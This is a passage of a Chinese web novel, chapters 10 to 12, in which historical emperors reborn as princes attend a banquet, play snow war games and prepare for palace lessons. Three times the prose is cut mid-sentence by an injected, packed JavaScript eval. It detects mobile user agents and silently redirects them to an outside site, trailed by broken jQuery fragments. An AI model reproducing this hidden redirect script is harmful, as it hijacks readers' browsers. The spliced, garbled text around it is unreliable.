他掰开橘子,给周宛宁和刘彻都分了两瓣,然后和他们一起凑在一起嘀嘀咕咕:“老大从小就不爱说话。他对谁都那样,性格太冷,孤僻。”
“他还没出宫读书的时候,我和老二也试着找他去踢过蹴鞠,但他怎么都约不出来,成天就是读书,或者就是在屋里练他那个剑。”
赵匡胤伸手比划了一下,说:“那剑跟他差不多高,造型也很古怪,压根儿没有实战效果,我都不知道他练那剑是想干什么用!”
刘彻很感兴趣:“用剑不适合实战么?可我听说那些游侠儿都用的是剑。”
赵匡胤满脸不屑:“用剑那都是哪年的老黄历了!剑是礼器,戳刺为主,实用比不上刀。现在的游侠用的武器五花八门,力气小的可以使暗器,力气大的使棍或者长枪。我还见过用绳镖的……”
趁哥哥们讨论兵器,周宛宁偷偷探头又去打量周承璋。
少年皮肤极白,鼻梁高挺,侧脸的轮廓优越,却让人看着不敢亲近。
察觉到目光,周承璋向周宛宁瞥了一眼。周宛宁吓得赶紧缩了回去,把脸埋到刘彻背后。
刘彻好笑地摸摸周宛宁的背,说:“怕什么!”
你们都是千古一帝,你们当然不怕……
周承璋可是嫡长子,如果没有意外,以后他继位的概率是最高的。他看起来又是那种不好相处的人,估计也不太好刷好感度。
那要怎么才能知道他的真实身份呢……
周宛宁陷入沉思。
此时,坤宁殿小小骚动起来。众人纷纷离席站起,向大殿门口行礼:
皇帝到了。
赵佶今天看起来十分高兴,一进殿,他就问:
“朕的皇儿呢?朕的小六呢?”
六皇子被包裹在襁褓里,吕雉从奶娘手中接过孩子,笑意盈盈地迎向皇帝。
在下人们心惊胆战的注视下,皇帝哈哈笑着抱了抱六皇子,然后就迅速将他又塞回吕雉怀里,宣布:“朕给皇儿想好了名字!”
吕雉很配合地问:“不知是何名?”
皇帝说:“周靖燕。靖远的靖,燕云的燕,只盼我儿长成后能创下功业啊!”
靖燕……?
身旁这些皇子的神色微妙地变了。
赵匡胤轻声说:“燕云十六州……靖燕……他想对北方动兵?”
赵佶?要对北方动兵?!
10.第 10 章
赵佶这种行为放在后世有一个词可以精准形容,那就是“人菜瘾大”。
大皇子周承璋依旧沉默,神色淡漠不见喜怒。
李世民若有所思,赵匡胤眉头紧皱,刘彻看起来却有点跃跃欲试。
周宛宁感觉自己有点吃不下饭了。
北伐,这个词换给上述几个皇帝,周宛宁都会心潮澎湃。
李世民天可汗!刘彻封狼居胥!赵匡胤北定中原!
可北伐这个词套到宋徽宗头上,周宛宁只觉得自己吃的每一口都是断头饭。
吕雉也瞬间领会到“靖燕”这个名字所包含的深远蕴意,她却装作不懂,笑着奉承:“为何要等孩子长成?陛下春秋正盛,英明神武,此等功业正当由陛下来立,何必等待后人?”
赵佶听了果然舒爽,他笑着虚指了指吕雉,感慨道:“是啊,朕年华正好,若不做出一番事业,岂不辜负青春,也辜负祖宗留下的大好基业!”
周宛宁慢吞吞地回头看了一眼赵匡胤。
赵匡胤:?
赵匡胤:“怎么了?”
周宛宁:“哦……没什么,就是在想太祖太宗陛下他们听了父皇这番话会怎么想。”
赵匡胤讲了句场面上的客套话:“太祖太宗会很欣慰吧。”
周宛宁:你最好是。
皇帝已经入席,宴会开场。诸嫔妃欢声笑语,纷纷对皇帝娇声庆贺,给六皇子送上满月礼。
得名“周靖燕”的六皇子被奶娘抱着,宫女们将裹着红绸的托盘举到他面前,展示各宫赠予的琳琅珍品,也不管他究竟能不能看懂。
各宫娘娘们送完礼,就轮到皇子们了。
大皇子周承璋率先起身,他端着酒杯来到皇帝面前,恭敬地举杯祝道:“儿臣贺父皇得子!还望父皇万事顺意,祝六弟无灾无病,健康和乐。”
皇帝笑起来,他伸手虚点了点周承璋,转头对一旁的吕雉说道:
“这孩子,从小就这么板正,说话做事一丝不苟的,朕在他这么大时恐怕都做不到这么周全呐!”
周宛宁听到刘彻发出一声意味不明的冷笑。
周宛宁疑惑地看向刘彻,刘彻仿佛能读懂他心声一样,凑过来低声解释:“皇帝不喜欢老大。”
周宛宁一时间没反应过来,问:“他在阴阳怪气大哥?”
刘彻戏谑地晃晃手中的果子露,说:“不然呢?身为皇帝,如果要夸儿子,直白地夸奖就好了,何必贬低自己?”
“试问,一个皇帝当众贬低自己,周围人要怎么说?难道顺着皇帝的话批评他吗?”
果然,只听吕雉打圆场道:“陛下过于自谦了!臣妾虽未亲眼见过陛下年少的英姿,可也听宫里老人说过,陛下幼时就卓尔不凡,世上能有谁比得上陛下呢?”
周承璋也赶紧躬身推辞:“父皇此言折煞儿臣!父皇乃天上煌煌烈日,儿臣萤火之光,能比上父皇的一两分就心满意足了!”
天下只有赵佶一个太阳!
除了道君皇帝,其他人我们谁都不认!
周宛宁:行,面圣的时候记得戴墨镜,免得视网膜灼伤。
这一番敲打,皇帝见爱妃恭维,儿子自贬,心中舒爽至极,这才满足地拿起酒杯,问周承璋:“行了!你给你六弟带了什么礼物啊?”
周承璋道:“幼时,母后给儿臣打造了一副足金的长命锁,缀有金铃。儿臣现在已经大了,就将这枚长命锁转赠六弟,希望六弟能长命百岁,健康无虞。”
下人将长命锁呈给皇帝,皇帝扫了一眼,有些感慨:“你母后……”
吕雉对周承璋柔声说:“我代靖燕谢过殿下美意。希望靖燕能像殿下一般平安长成。”
周承璋再一垂首,饮尽了杯中酒,就缓步回到他的坐席上。
周宛宁看着周承璋神情淡漠地重新坐下,仿佛刚才皇帝那一通发作根本没有发生。
周宛宁特别佩服这种喜怒不形于色、泰山崩于前都不眨眼的狠人。他就很难做到,吕雉和几个哥哥每次都能准备从他的表情看出来他心里在想什么,私藏零食都一抓一个准。
刘彻觑见周宛宁闪着光的眼神一路追着周承璋看,有些不满地用指节敲敲桌沿:“你盯着老大看什么?”
周宛宁老老实实地说:“我就是觉得大哥很聪明,说话很有水平。”
刘彻高高挑起眉:“他?说话有水平?小宁,你可千万别学他。他见了父皇也是一副冷冰冰的臭脸,架子摆给谁看呢?”
周宛宁不解:“我以为大哥是在保持身为皇长子的威仪……”
刘彻抬手,弹了周宛宁一个脑瓜崩。
“你个小傻子。威仪?威仪只有在真正握有权力的时候才有用。面对皇帝,越有威仪的人死得越快,尤其是素有贤名的皇长子。”
“记住了,小宁。见皇帝的时候,把头低下,越低越好。”
周宛宁又扫了一眼御座。此时献礼的人已经轮到了李世民,李世民正笑着对皇帝拱手贺词,皇帝看起来心情还算不错。
不是只有老皇帝才会忌惮自己的儿子吗?
皇帝现在才不过三十岁出头,他为什么……
等等,眼前这个皇帝是被金人俘虏过、在冰天雪地的五国城地窖里凄惨死去的宋徽宗赵佶啊。
这辈子,宋徽宗重活一世,他表面上装作无事发生,继续快乐做皇帝,可他比谁都清楚自己是个失败者,比谁都害怕那既定的命运再度发生。
就像是诊断出绝症的患者,他知道自己身体里有肿瘤,可他还是心存侥幸,假装无事发生,继续胡吃海喝,寄希望于老天爷能放过他。
这怎么可能呢?
与此同时,周承璋太出色了,其余的几个儿子也都掩盖不住身上的闪光,如锥入囊中,终究要脱颖而出。
在已经知道自己会失败的惶恐不安中,赵佶怎么容得下这些拥有雄心壮志的儿子们呢?
赵佶始终是那个赵佶,是五国城地窖里被冻得病入膏肓却死不悔改的老头,明知道自己就不是治国的那块料,还死死抓着权柄享乐,忌惮贤能的皇子……
赵佶,你真不愧是赵构的亲爹。
周宛宁看着自己手中的酒爵,慢吞吞地想:
那么,最优解就是将皇帝当做垂垂老矣的绝症患者,在他面前做个没有威胁,不筹谋家产,一心尽孝的乖儿子。
他现在的外表是五岁,正是扮演贴心小孩的最佳年龄。
诸位皇子继续按照顺序一一上前贺礼敬酒。
皇帝没再像为难周承璋一样为难其他孩子,听他们说完吉祥话,送上礼品,再和孩子们一起喝完杯中酒水,就让他们回去了。
周宛宁上前的时候,他发现皇帝已经有些醉意朦胧。
周宛宁上辈子在医院当过实习生,轮转期间值过急
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842023|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诊,在夜班的时候见过不少醉鬼。
皇帝现在的状态他很熟悉,感觉要是再喝一杯下去,他可能就要吐到旁边吕雉的裙子上了。
周宛宁没说什么吉祥话,他向皇帝凑近几步,像个小孩子一样,软软地说:
“父皇,你现在觉得怎么样?我娘说喝多了酒会很难受。父皇来喝杯茶水,先缓一缓吧。”
临床心理学核心要点之:尊重,有效,以患者为中心,同时要让患者感受到人文关怀。
皇帝掀起眼皮,恍惚地盯着周宛宁看了一会儿,忽然拍拍自己的座椅,说:
“小宁,来!坐到父皇旁边来!”
周宛宁来到御座旁,皇帝一个使力就把周宛宁抱了起来。
五岁孩子本就不重,周宛宁乖乖坐到他旁边,闻着皇帝满身的酒气,还是保持着一副听话担忧的表情。
“朕的这些儿子里,只有小宁最贴心!最爱朕!”
此话一出,举座皆惊。
皇子那边倒是没什么特别的反应,那四位都是人精里的人精,听到这种话也不会外露出什么叫人抓住把柄的神色。
但周宛宁余光看到惠妃表情一变,有一刹那的咬牙切齿。
人上了年纪之后就会喜欢小儿子,赵佶也不例外。
他从桌上拿了一枚鲜果,塞给周宛宁,问:“添了个弟弟,小宁现在是哥哥了。小宁开心吗?”
周宛宁说:“开心!以后我就可以带弟弟一起玩儿了!我要带弟弟踢蹴鞠,让弟弟陪我下棋……还有,过年的时候我可以教弟弟写对联,写‘福’字。我临摹父皇的帖子写了好多字呢!”
这话倒是真的。赵佶做人不咋地,但是书法独步天下。有这个机会拿着赵佶的真迹学瘦金体,学成了之后技术全是自己的。
听他这么说,吕雉嗔怪道:“你那字歪歪扭扭,粗细都不一,可不要拿到陛下面前现眼,又教坏了弟弟。”
赵佶立刻反驳:“哎!小宁年纪小,字写得怎样先不说,他友爱兄弟,追求文华之道,实在是个好孩子,这样才是朕精心养出来的皇子呢。”
惠妃在一旁强挤出笑意,附和几句:“五殿下聪慧乖巧,以后定能像大殿下一般贤良博学,早日替陛下分忧。”
听到惠妃强行把自己和周承璋绑定,还说什么“替他分忧”这种一级违禁词,周宛宁心中警铃大作,赶在皇帝开口前问:
“分忧?父皇不开心吗?那小宁先不陪弟弟了,我跟父皇一起踢蹴鞠,帮父皇进球,父皇高兴一点,好不好?”
赵佶笑得都咳嗽了,吕雉赶紧拿出锦帕帮他擦拭。
赵佶顺势握住吕雉的手,说:
“你把小宁教得很好啊。这孩子聪明又孝顺,朕要赏!”
吕雉柔声道:“教育孩子本就是臣妾分内之事,臣妾怎能厚颜领赏?”
“不过,小宁这孩子上次得了陛下的墨宝,之后就一直念念不忘,关起门来自己也拿着笔学着写字,每天都练废不少好纸,写出来的字还是不得形。陛下若是要赏,就给小宁多赏写笔墨纸砚,御笔字帖,好叫这孩子心里也有个着落。”
赵佶低头去看周宛宁,周宛宁装作不好意思地忸怩一番。
“既然皇儿有如此向学之心,那朕也不能亏了孩子。光赏笔墨纸砚怎么够呢?要学,就认真学。”
“下月起,诸位皇子就都去龙图阁念书吧。”
11.第 11 章
满月宴后,转眼间便来到正月了。
各宫都发了赏钱,下人们也裁了新衣,宫女添了首饰。宫里处处透着一股欢喜劲儿。
除夕这天,吕雉特意把刘彻叫来了宣和宫,让他一起守岁,还给刘彻和周宛宁都发了压胜钱。
西汉时没有“压岁钱”的说法,但已经有压岁钱的雏形:压胜钱。
吕雉提前叫尚宫局用银子给孩子们打了一串形状特殊的圆形方孔钱币,正面雕着小篆,背面刻有神兽辟邪。
周宛宁看不懂小篆,刘彻一个字一个字地教他:“这是‘诸邪辟易’……”
六皇子也被奶娘抱来凑了个热闹。他长大了点,睡醒之后明显能对人的声音做出反应。进了主殿,他睁着黑亮的眼睛,也不哭闹,懵懵懂懂地到处看。
周宛宁和刘彻跑到六皇子跟前逗他。
周宛宁拿着压胜钱在他面前晃悠,说:“弟弟,弟弟,你快点长大,大了好陪我们一起上学。”
六皇子看起来对压胜钱毫无兴趣,两眼无神,一声不吭。
刘彻纠正他:“小孩儿哪有喜欢上学的。你得这么说……小六,你叫‘靖燕’,以后是要去打仗的!等你会走路了,哥就教你骑马,长大了远征漠北,封狼居胥!”
周宛宁:“哥你这更——”
六皇子兴奋起来,极响亮地“啊!”了一声。
周宛宁:?
刘彻得意道:“看吧!小六,你是个可造之材,哥觉得你亦有成为卫霍之潜质!”
周宛宁:“不是,哥,你说这些——”
六皇子甚至从襁褓里伸出手,“啊!”地挥了挥。
刘彻眼神坚毅地与六皇子约定:“如此就说定了。哥等你以后将北夷犁庭扫穴,让那单于悬首北阙!”
六皇子:“呀!”
周宛宁:行,你俩爱咋说咋说吧。
孩子们在玩闹,吕雉在榻上慢慢剥橘子,剥下来的橘子皮就扔到小炭炉里头,烧得屋里也透着一股柑橘的清香。
六皇子还是个婴儿,很快就困了。奶娘把六皇子抱走之后,周宛宁和刘彻就重新坐到吕雉对面,拿着吕雉剥好的橘子吃。
吃着甜橘,刘彻也依约给周宛宁讲“九重天上”的故事。
天上有个斩白蛇的高祖,举鼎的霸王,还有将酒倾入泉中的小将军……
“冠军侯将御赐的酒倒入泉中,邀请军士同饮。有人说,那处泉水从此就有了酒香,可见天地山川也记住了冠军侯与皇帝的功勋。那个地方后来就叫做酒泉。”
夜色渐深,讲着讲着,刘彻打了个呵欠,眼皮子不由自主耷拉下来。
周宛宁靠在吕雉怀里,他也有了困意,轻轻嘟囔:“哦,酒泉叫酒泉,是因为泉里有酒……”
吕雉笑了一声,说:“我记得那座城原名‘肃州’。一坛酒倾入泉中根本尝不出味来了,‘酒泉’的传说是那皇帝为了宣扬功绩才到处传播的吧?”
刘彻嘴硬:“那又怎样?百世千世之后,只要酒泉郡还叫酒泉,人们就不会忘了冠军侯,不会忘了大汉!”
周宛宁熬不动夜了。他闭起眼睛,喃喃:“嗯……记得酒泉……我想去酒泉看发射……星……去天上……”
吕雉无奈一笑,随后又板起脸看向刘彻:“你看你,是不是又跟小宁胡说八道讲什么仙术了?教得小宁都说射星星去天上之类的怪话。”
刘彻皱起脸来,无辜道:“不是我,我不怎么研究天象的。但把星星射上天确实是个很有趣的想法!”
吕雉:“你信不信我把你也送去天上见刘季?”
刘彻:“啊,这个,这个……要不我们还是聊聊别的吧,比如学术!黄老什么的!”
周宛宁已经贴在吕雉怀里睡着了。
他做了个梦。
梦里,他完成了博士的毕业答辩,舌战评审专家一个小时,终于获得专家的一致通过,准许毕业。
毕业典礼上,他穿着红黑色的博士服,抱着毕业证书,吕雉热泪盈眶地拉着他的手说:“咱们椒房殿终于出了一位医学博士……”
他的哥哥们也都挤了过来,争先恐后地说:
“小宁!来我们大汉吧,快给霍去病治一治!”
“小宁,先帮观音婢号个脉,承乾也要治一下腿!”
“小宁,哥一喝酒就觉得不舒服,你来大宋做御医吧!”
周宛宁被四面八方的皇帝哥哥们拽住衣服,幸福地挣扎起来:
“一个一个看……先挂号……先……先挂号……”
周折的一年在这样一个美梦里结束了。
正月,辞旧迎新。
周宛宁难得被允许出门玩雪。吕雉给他裹了几层厚衣,还给他套上了狐皮围脖,又恐吓了魏忠贤和小顺子一番,说要是周宛宁着凉或者摔跤,就一定要了他俩的命。
一出宣和宫,魏忠贤和小顺子就一左一右把周宛宁夹着护在当中。要不是周宛宁拒绝,这俩人恨不得轮流背着他走。
蹴鞠场。
下雪之后,赵佶就不组织球赛了,蹴鞠场的积雪也没有清理,形成了一大块漂亮的纯白雪地。
周宛宁到蹴鞠场后,发现李世民和赵匡胤已经到了,他俩蹲在地上不知道在研究什么,一人拿着一根树枝子,在地上写写画画。
周宛宁深一脚浅一脚地踩着雪凑近了,喊:“二哥!三哥!新年快乐!”
李世民起身,他拍拍衣角的雪,笑着迎上去:“小宁,又长一岁了。来,哥给你压祟钱!”
他从袖袋里摸出一串用红绳系好的铜钱,周宛宁双手接过,沉甸甸得都有些坠手。
赵匡胤也笑眯眯地拿出一只红封:“小宁,新的一年要健康快乐,哥给你包了一点利是。”
周宛宁由衷地感谢起了自己的年龄和辈分,他让魏忠贤替自己收好红包,也掏出宣和宫的特制压胜钱,一一送给两位哥哥。
交换完新年礼物,周宛宁低头观察他俩在地上划的道道,好奇地问:“你们刚才在玩什么?”
李世民重新捡起树枝子,在雪地上点了点:“我和你三哥在玩兵棋推演。他操纵大夏,我操纵女金人和蒙兀人,假设今年蛮夷犯我疆界,大夏要如何应对。”
周宛宁眯起眼睛仔细去瞧雪地里被他俩挖出来的小沟和雪包。
赵匡胤用树枝指着介绍:“这是京城,上头是黄河。这儿是长城,这里是山海关,再这边是太行……”
打仗永远是男孩子之间最热衷的话题,更别说这两个真能提刀策马的武将出身的皇帝了。
赵匡胤从北边画出一条线来,说:“我从陕州调骑兵三千,堵住你的去路,至少能逼你放下一半的辎重。”
李世民捏了个小雪球压在地上,回击:“我的兵马有神臂弓,重创你的骑兵!”
赵匡胤大怒:“蒙兀人怎么可能有神臂弓?!”
李世民:“蒙兀人怎么不能有神臂弓?兵器推演的时候要料敌从宽嘛,不能把敌方当野人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852677|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
赵匡胤:“他们连铁锅都造不出来,你让他们从哪儿装备神臂弓?”
周宛宁:“可能是蒙兀科学家发明的。”
李世民马上附和:“对,蒙兀也有科学家!”
赵匡胤生气地用冰手去摸周宛宁的脸:“小没良心,你究竟是哪边的,嗯?”
周宛宁被冻得打哆嗦,赶紧撒娇:“那那那,三哥你的骑兵也可以装备火.药,炸他们!”
李世民瞪大眼睛了:“火.药?陕州哪来的火.药储备?”
赵匡胤以牙还牙:“你自己说的料敌从宽。好了,我大败你的犯边贼寇,斩首千余,俘虏战马百匹,还缴获了几百架神臂弓……”
李世民很快又从长城边界划了条道道:“那,锦州有一支女金人南下,其中有五百人是精锐的武林高手,一人就可以抵挡万人军队——”
赵匡胤把树枝扔到雪地上:“玩不玩了!怎么还有武林高手啊?”
李世民一本正经道:“你也可以给你的队伍补充精英战力。我允许你操纵玄甲军。”
一旁的周宛宁:?
什么玩意儿?什么东西从李世民嘴里说出来了?
赵匡胤:“不必使用玄甲军了,我申请和对方主帅天策上将直接单挑。”
周宛宁瞪大眼睛,呆滞地看向赵匡胤。
等、等等!
赵匡胤怎么知道天策上将?!
不,不对,应该要问的是,赵匡胤为什么知道他对面就是天策上将?
李世民站起身,他毫无惊讶之色,反而一脸兴奋,拿着树枝代替长剑,朗声道:“天策上将应战!来者何人?”
赵匡胤摆出起手式:“在下,御前都点检!”
顷刻,他们就拿着树枝战成一团。
周宛宁蹲在一侧,眼睁睁看着唐宗大战宋祖,而他只觉得风萧萧兮易水寒。
所以,你们两个其实早就互相知道对方真实身份了,对吗?
可这两个人提及“天策上将”、“御前都点检”的时候为什么都不避着点弟弟,难道真的一点都没有怀疑过周宛宁也是重生的?
想到这儿,周宛宁扭头看了一眼魏忠贤。
魏忠贤捧着周宛宁的红包,对上眼神之后,他连忙谄媚一笑,问:“主子想不想玩儿?奴才可以去替主子也寻一根又长又直的结实树枝子!”
周宛宁:嗯……
好吧,魏忠贤是个文盲,他听不懂李世民和赵匡胤都在讲什么。
他可能都不知道唐宗宋祖是谁。
“哟,二哥三哥好兴致,竟然在这儿比起武来了!”
远远地,又一团臃肿的毛绒球挪了过来。
刘彻裹着厚衣服出现在了蹴鞠场边缘,李世民和赵匡胤纷纷停手,都换上了冷淡的表情。
周宛宁站起来,乖乖叫了一声:“四哥。”
赵匡胤问:“四弟怎么来了?”
刘彻自然而然地被雪地上的兵棋地图吸引了注意力,随口道:“出来溜达溜达。哎,你们这是在推演?看这地图,是在模拟北寇犯边?”
李世民不咸不淡地回答:“随便玩玩而已。”
刘彻毫不见外,兴致勃勃地就用脚尖在地上又踩出一个印子:“那我也来!我先派出一支游侠儿小队前往出使西域,让使者们胁迫西域各国出战,这样就直接从极西之地引一支援兵进行夹击——”
李世民和赵匡胤异口同声道:“禁止再引入新的变量!!!”
12.第 12 章
小孩子最喜欢过节。
即使内里不是真正的小孩,周宛宁也觉得过年非常快乐。
李世民和赵匡胤简直是孩子王,他们不知道为什么特别会带小孩,一点都没有不耐烦,每天都会组织活动带着周宛宁一起玩,有时候是雪地兵棋推演,有时候是打雪仗,有时候是射箭比赛。
周宛宁玩得不亦乐乎。
就连刘彻都尽兴了。虽然他每次和兄弟们见面都要吵架,但武帝陛下每次都会准时准点出现在活动现场,无视唐宗宋祖哥俩儿鄙视的眼神,理直气壮地问:“今天我们操练点什么?”
四个人一起玩就热闹多了,至少组起队来就没有人会落单。只是为了游戏公平性,李世民和赵匡胤不被允许组成小队,毕竟他俩联起手来就不可能输。
就是苦了轮到和刘彻组队的那个人。刘彻总想要做小队的队长,指挥这个指挥那个,把李世民和赵匡胤轮番气得够呛。
奇怪的是,一起玩了这么多天下来,周宛宁觉得他们三个的关系反而好了一些。
可能这就是皇帝的友谊吧!
打完雪仗,周宛宁哆哆嗦嗦地回到宣和宫,进殿前他会让魏忠贤仔仔细细地给他身上的雪都打扫干净,再把双手搓热,希望吕雉不要看出来他玩得有多疯。
吕雉却每次都能看出来周宛宁的小心思。她会提前叫人熬好热姜汤,摁住周宛宁强行灌下去一碗,再用已经烘热的荞麦袋子给他身上细细滚一遍。等到他全身都热乎起来了,就拎去预习功课。
是的,预习功课。
皇帝金口玉言,除了还在吃奶的周靖燕,年后诸位皇子就都要去龙图阁开蒙读书了。
一般而言,皇子在正式入阁读书前都会由生母或养母带着先开蒙,学习认字和简单的经典。
入阁读书后,负责教授皇子们的龙图阁学士会给皇子们做个简单的摸底,然后按照孩子们的平均水平开始教学。
几位皇子之中,大皇子周承璋和二皇子李世民是已经死去的先皇后所生。他俩的学业水平也是第一梯队的。
周承璋五岁就进了龙图阁,学习进度自然不是他人能比,这些年更是有不少文臣私下流传大皇子的贤明小故事,搞得赵佶暗自恼火。
李世民前世乃是堂堂唐国公公子,自小接受的就是关陇贵族教育,草书一绝,可以手搓《威凤赋》,还给亲亲好儿李治写过《帝范》。
三皇子赵匡胤的生母是吕雉目前最强劲的后位争夺对手,惠妃。
惠妃出身涿州武将世家,文化水平成谜,目前是没听说她有吟诗作对的能力。
但赵匡胤绝不是什么不学无术的人。虽然他的学术造诣“稍逊风骚”,但他同样熟读诗书经典。一个能说出“卧榻之侧岂容他人鼾睡”的皇帝,怎么可能是文盲呢?
人家又不是老朱!
朱元璋:你对咱有意见?
至于刘彻,虽然他这辈子的生母早就进了冷宫,抚养他的太妃对他的学业也不太上心,但人家孝武皇帝上辈子就是大汉文学家了,《秋风辞》、《悼李夫人赋》都信手拈来,怎么会怕区区儿童启蒙教育?
这么一看,周宛宁就是最菜的啊!
他上辈子学的是理科,上大学之后更是一头扎进医学的海洋,沉迷于外科不可自拔。
问他缝合手法,他能兴致勃勃提出至少三种方法旋转皮瓣。
要他现场作诗,他阿巴阿巴半天,只能憋出一句“世上只有妈妈好,有妈孩子像块宝”。
吕雉:儿啊,偏科也不是这么偏的!
一生要强的吕雉当然不会允许自己的儿子在摸底考里面垫底。
在她看来,周宛宁确实没什么文学天赋,但他头脑还算聪明,记忆背诵水平都不错。
俗话说勤能补拙,笨鸟先飞,只要够勤奋,就一定能打败其余那些兄弟!
就连刘季都能作出《大风歌》,她亲生儿子差在哪儿了?
周宛宁:不是,妈,那也不能这么比啊,五千年也就出了一首“大风起兮云飞扬”,咱们别和刘邦较劲了,好吗?
点播一首《当爱已成往事》给吕雉女士。
虽然早就知道自己没可能在学业上赢过那些人中龙凤的哥哥们,但周宛宁悲哀地发现,多年来的学术生涯已经把他的身体培养成了全自动学习模式。
只要吕雉布置了功课,他就会不由自主地开始学。
课文全文背诵?好的,这就背!
文言文阅读理解?好的,马上翻译!
写文言议论文?好的,列完大纲找一下论据开始措辞!
学习应试已经成了条件反射,和看到有人倒地第一时间冲上去做心肺复苏一样,如同呼吸一般自然地浸入了周宛宁的本能。
手自己在动!
胳膊自己在抄书!
嘴巴自己在背诗赋!
好可怕!好可怕!
白天和兄弟们一起打雪仗,晚上回宫偷偷学习,周宛宁恍惚地发现自己成了上辈子最鄙视的那种人。
太罪恶了,他竟然背着亲爱的哥哥们在偷偷内卷!
去龙图阁上学的前一天晚上,周宛宁焦虑地检查了至少五遍自己的小书包,确认毛笔顺滑不秃毛,砚台没有缺角漏墨,墨条完整无断裂痕迹,小水壶有水,草稿纸也好端端地垫在最底下……
做完这些,他垂头丧气地去找六皇子寻求些心理安慰。
六皇子周靖燕现在更大了一些,能够睁眼,对人做出反应,甚至还会对吕雉和周宛宁露出微笑。
稍显遗憾的是,他对周宛宁的好感度还没达到解锁隐藏资料所需要的标准,所以周宛宁闲下来就会去找周靖燕说说话,刷刷好感度。
六皇子周靖燕刚吃过奶,躺在他的小被窝里犯困。
但是看到婴儿床上方冒出哥哥的脑袋之后,他又睁大眼睛,“啊啊”地伸手打招呼。
“靖燕,我明天就要去龙图阁念书了。”
周宛宁把下巴搁在婴儿床的护栏边缘,小小叹了口气:“哥哥们都说念书是很简单很轻松的事,但我知道,这是因为他们本来就聪明,好像只有我最普通……”
周靖燕用乌溜溜的眼睛盯着周宛宁,“叭!”地突然喷出一小滩口水,然后举起双手,意图很明显地要抱抱。
周宛宁被逗笑了,他拿出柔软棉布做的手绢,轻轻给弟弟擦掉口水。在奶娘的帮助下,周宛宁坐在床沿,用轮转时在儿科学会的标准姿势抱起周靖燕。
周靖燕没有挣扎,乖乖贴在周宛宁怀里。周宛宁轻轻晃晃他,自言自语道:
“娘总说我也很聪明,不比哥哥们差什么。可我知道,我们是不一样的。我就算拼死了努力,也比不过哥哥们。”
周宛宁轻轻叹了口气,说:“但就算这样,我也不能放弃。因为我不能给娘丢脸。”
听到这儿,周靖燕忽然把一只小手举起,袖珍的小手指一张一合,发出“啊,啊”的短促婴语。
周宛宁以为弟弟在索要什么,于是他把自己的手指伸过去。
周靖燕挥开周宛宁的手,继续执着地对他招手。
周宛宁低下头,他感觉到婴儿柔软仿佛无骨的小手贴上他的脸颊,像个大人一样,抚摸过他的下颌。
弟弟清澈乌黑的眼珠直直盯住周宛宁,好像可以看破他内心深处的软弱。
下一秒,周靖燕对他笑了。
他露出粉红的牙床,笑得天真烂漫。
周宛宁顿时感觉到了安慰,他小心地用指节蹭了蹭弟弟的脸,给自己打气:“我明天一定会好好表现,认真读书的!不叫娘失望!”
周靖燕“啊啊!”地快乐表示赞同。
周宛宁忽然能理解赵匡胤的弟控属性是从哪里来的了,和乖巧又可爱的小孩一起玩确实能让人放松啊。
他把周靖燕小心地还给奶娘,带着一身奶香味儿回到寝宫,安心休息去了。
第二日,龙图阁。
龙图阁本是大夏皇室的藏书阁,后也承担了皇子教育的功能。
皇子达到一定年龄后,皇帝就会下旨钦点龙图阁学士来教导皇子,而皇子也可以借此机会开始接触朝臣。
龙图阁学士多是在科举中取得优异名次的政治新星,在翰林院养望几年获得一定资历后,佼佼者被挑选出来,担任教育皇子的重任。
周宛宁起了个大早,天蒙蒙亮他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860514|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就睡不着了,干脆就起来洗漱吃饭,又把这些天预习的内容从头到尾背了一遍。
皇帝没有允许他们给自己挑选伴读,周宛宁身边也就跟着魏忠贤和小顺子两个,一人给他拎书包,一人给他拎食盒水壶。
吕雉还特别嘱咐了,万一先生要惩罚周宛宁,或是兄弟间要打架,魏忠贤和小顺子拼死也得上去替周宛宁挨揍。
魏忠贤当即发誓,就算他被其他皇子打死了,血流了一地,他都不会让周宛宁伤到一根毫毛。
周宛宁:我是去龙图阁上学,不是去热血高校当混混!!!
你们大汉和大明的皇家都这么凶残吗?
吕雉:那确实,皇子我也不是没毒死过。
魏忠贤:那确实,皇帝在宫里都能淹死呢。
由于久经考验的封建主义战士带来的压迫感实在是太强,周宛宁赶紧向着龙图阁的方向远遁。
天色尚早,距离龙图阁上课的时间还有半个时辰。
龙图阁守门的太监却早早就当值了,周宛宁刚到门口,龙图阁的总管太监就乐乐呵呵地一溜小跑迎了过来,叠声请安:
“五殿下!您到得真早!童爷爷早就嘱咐过了,五殿下头回来,小的在这儿专门侯着您,给您带个路!”
